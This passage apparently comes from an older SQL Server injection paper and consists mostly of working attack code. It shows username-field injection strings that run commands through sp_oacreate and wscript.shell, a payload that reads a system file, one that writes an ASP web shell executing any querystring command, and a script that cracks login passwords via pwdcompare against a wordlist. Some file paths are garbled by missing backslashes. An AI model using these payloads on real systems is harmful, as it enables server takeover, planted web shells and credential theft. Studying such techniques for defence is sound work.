-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
It could be run in our sample scenario by specifying the following username (all on one line)
Username '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
2) This example uses the 'scripting.filesystemobject' object to read a known text file
-- scripting.filesystemobject example - read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'cboot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
3) This example creates an ASP script that will run any command passed to it in the querystring
-- scripting.filesystemobject example - create a 'run this' .asp file
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'cinetpubwwwrootfoo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'% set o = server.createobject(wscript.shell o.run( request.querystring(cmd ) %'
It is important to note that when running on a Windows NT4, IIS4 platform, commands issued by this ASP script will run as the 'system' account. In IIS5, however, they will run as the low-privileged IWAM_xxx account.
4) This (somewhat spurious) example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak Page 16
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '000005'
This could of course be run in our example scenario, by specifying the following 'username' (note that the example is not only injecting a script, but simultaneously logging in to the application as 'admin')
Username admin'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '000005'--

Here is the script
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'ctemppasswords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords
